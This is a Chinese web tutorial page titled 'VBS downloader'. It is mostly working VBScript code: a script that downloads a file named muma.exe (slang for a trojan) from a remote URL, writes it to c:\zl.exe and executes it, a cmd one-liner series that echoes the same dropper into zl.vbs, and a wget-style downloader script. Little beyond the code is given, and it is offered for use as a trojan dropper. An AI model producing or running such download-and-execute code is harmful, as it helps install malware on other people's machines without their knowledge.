简要咨询咨询QQ网站导航网站搜索手机站点联系我们设为首页加入收藏 

VBS下载者(通过vbscript实现文件下载)

来源:易贤网   阅读:6917 次  日期:2014-08-12 11:53:39

温馨提示:易贤网小编为您整理了“VBS下载者(通过vbscript实现文件下载)”,方便广大网友查阅!

一、VBS下载者:

代码如下:

Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

Post.Open "GET","http://www.jbzj.com/muma.exe",0

Post.Send()

Set aGet = CreateObject("ADODB.Stream")

aGet.Mode = 3

aGet.Type = 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile "c:\zl.exe",2

wscript.sleep 1000

Shell.Run ("c:\zl.exe") '延迟过后执行下载文件

二、cmd下执行的版本:

代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs

echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs

echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs

echo Post.Send() >>zl.vbs

echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs

echo aGet.Mode = 3 >>zl.vbs

echo aGet.Type = 1 >>zl.vbs

echo aGet.Open() >>zl.vbs

echo aGet.Write(Post.responseBody) >>zl.vbs

echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs

echo wscript.sleep 1000 >>zl.vbs

echo Shell.Run ("c:\zl.exe") >>zl.vbs

三、wget.vbs

代码如下:

on error resume next

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

iUser=LCase(Wscript.Arguments(2))

iPass=LCase(Wscript.Arguments(3))

set xPost=CreateObject("Microsoft.XMLHTTP")

if iUser="" and iPass="" then

xPost.Open "GET",iRemote,0

else

xPost.Open "GET",iRemote,0,iUser,iPass

end if

xPost.Send()

set sGet=CreateObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write xPost.ResponseBody

sGet.SaveToFile iLocal,2

使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe

更多信息请查看IT技术专栏

更多信息请查看脚本栏目
点此处就本文及相关问题在本站进行非正式的简要咨询(便捷快速)】     【点此处查询各地各类考试咨询QQ号码及交流群
上一篇:VBScript版的PHP extract()函数
下一篇:Wscript和Cscript 运行脚本的区别详解
易贤网手机网站地址:VBS下载者(通过vbscript实现文件下载)
由于各方面情况的不断调整与变化,易贤网提供的所有考试信息和咨询回复仅供参考,敬请考生以权威部门公布的正式信息和咨询为准!